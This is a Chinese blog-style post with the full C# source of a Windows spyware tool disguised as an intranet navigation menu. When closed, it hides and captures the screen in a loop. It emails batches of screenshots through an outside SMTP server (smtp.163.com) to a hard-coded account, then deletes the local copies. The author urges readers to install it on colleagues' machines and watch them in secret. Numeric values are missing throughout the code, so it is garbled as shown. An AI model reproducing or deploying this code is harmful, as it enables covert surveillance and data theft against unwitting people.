C#中实现Windows系统流氓监控程序

 using System;
 using System.Collections.Generic;
 using System.ComponentModel;
 using System.Data;
 using System.Drawing;
 using System.Linq;
 using System.Text;
 using System.Threading.Tasks;
 using System.Windows.Forms;
 using System.Threading;
 using System.Net.Mail;
 using System.Net.Mime;
 using System.Net;
 using System.IO;
 using System.Diagnostics;

 namespace WinidowsMonitor
 {
     public partial class Form1 : Form
     {
         //Change variable.
         private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
         string localPath = GetPath(ApplicationData);

         public static string GetPath(string appDataPath)
         {
             int index = ApplicationData.LastIndexOf("\\");
             string strApp = ApplicationData.Substring(, index);
             string tempPath = strApp + "\\Local\\Temp";
             return tempPath;
         }

         public Form1()
         {
             InitializeComponent();
             Directory.CreateDirectory(localPath + "\\Windows");
         }

         private void JudgeProcess(FormClosingEventArgs e)
         {
             Process[] pros = Process.GetProcesses();
             Process pro = Process.GetCurrentProcess();
             var samePro = from newpro in pros where pro.ProcessName == newpro.ProcessName select newpro;
             if (samePro.Count() > )
             {
                 //MessageBox.Show(samePro.Count().ToString());
                 Application.Exit();
             }
             else
             {
                 //MessageBox.Show("only one");
                 e.Cancel = true;
                 this.Hide();
                 CatchCapture();
             }
         }

         public void CatchCapture()
         {
             Thread.CurrentThread.Name = "WindowsRun";
             int i = ;
             while (true)
             {
                 i++;
                 Image myImg = new Bitmap(Screen.AllScreens[].Bounds.Width, Screen.AllScreens[].Bounds.Height);
                 Graphics g = Graphics.FromImage(myImg);
                 g.CopyFromScreen(new Point(, ), new Point(, ), Screen.AllScreens[].Bounds.Size);
                 string picName = "WindowsCapture" + i.ToString() + ".jpg";
                 string picPath = localPath.ToString() + "\\Windows\\" + picName.ToString();
                 g.Dispose();
                 try
                 {
                     myImg.Save(@picPath.ToString(), System.Drawing.Imaging.ImageFormat.Jpeg);
                 }
                 catch(Exception e)
                 {
                     MessageBox.Show(e.ToString());
                 }
                 myImg.Dispose();
                 Thread.Sleep();
                 if (i %  == )
                 {
                     SendMail();
                     DeletePics(localPath.ToString() + "\\Windows\\");
                 }
             }
         }

         private void DeletePics(string path)
         {
             DirectoryInfo picDi = new DirectoryInfo(path);
             var files = from file in picDi.GetFiles() select file;
             foreach (var pic in files)
             {
                 pic.Delete();
             }
         }

         public void SendMail()
         {
             using (SmtpClient client = new SmtpClient("smtp.163.com"))
             using (var mail = new MailMessage("runcheck1@163.com", "runcheck1@163.com"))
             {
                 client.Host = "smtp.163.com";
                 client.Port = ;
                 client.EnableSsl = true;
                 client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
                 DirectoryInfo di = new DirectoryInfo(@localPath+"\\Windows");
                 //Add attachment.
                 foreach (FileInfo file in di.GetFiles())
                 {
                     string attachPath = localPath + "\\Windows\\" + file.Name;
                     var attach = new Attachment(attachPath, MediaTypeNames.Image.Jpeg);
                     attach.ContentId = file.Name;
                     mail.Attachments.Add(attach);
                 }
                 mail.Subject = "Windows Capture from love monitor.";
                 mail.SubjectEncoding = Encoding.UTF8;
                 mail.Body = "<img src=\"cid:pic\"/><p>来自Monitor</p>";
                 mail.BodyEncoding = Encoding.UTF8;
                 mail.IsBodyHtml = true;
                 mail.Priority = MailPriority.High;
                 //client.Credentials = CredentialCache.DefaultNetworkCredentials;
                 client.Credentials = new NetworkCredential("runcheck1", "pwd");
                 client.Send(mail);
             }
         }

         private void Form1_Load(object sender, EventArgs e)
         {
             //MessageBox.Show(Process.GetCurrentProcess().ProcessName);
         }

         private void Form1_FormClosing(object sender, FormClosingEventArgs e)
         {
             JudgeProcess(e);
         }

         private void vMManagementToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://cnportal.avepoint.net/Pages/default.aspx");
         }

         private void cNPortalToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://privatecloud.ccoffice.avepoint.com/#/Shell/VmsManagement");
         }

         private void iITSCoursesToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Lists/Course%20Library/All%20Courses.aspx");
         }

         private void avePointChinaWorkersToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/Lists/ChinaTeamAll_Members/ChinaTeam%20Member%20View.aspx");
         }

         private void avePointBookLendingToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/CCHR/Lists/List2/AllItems.aspx");
         }

         private void trainingSchoolScheduleToolStripMenuItem_Click(object sender, EventArgs e)
         {
             System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Training_School/Lists/Training_Schedule/view.aspx");
         }
     }
 }

以上程序是我写的一个屏幕截图偷发邮件的工具，十秒钟一截图，三十张一发送，发送完了把已有的删除，继续监控。

外壳可以设计随便什么样，比如导航之类的：

然后你给你的同事用，后台就可以监控他在干嘛了……

在这里我就不演示我的成果了，哈哈。

其实大神之所以称之为大神，就是可以把这些东西做的更隐蔽更持久化。

区别就在于我这只是个恶作剧，而那是真正的木马病毒。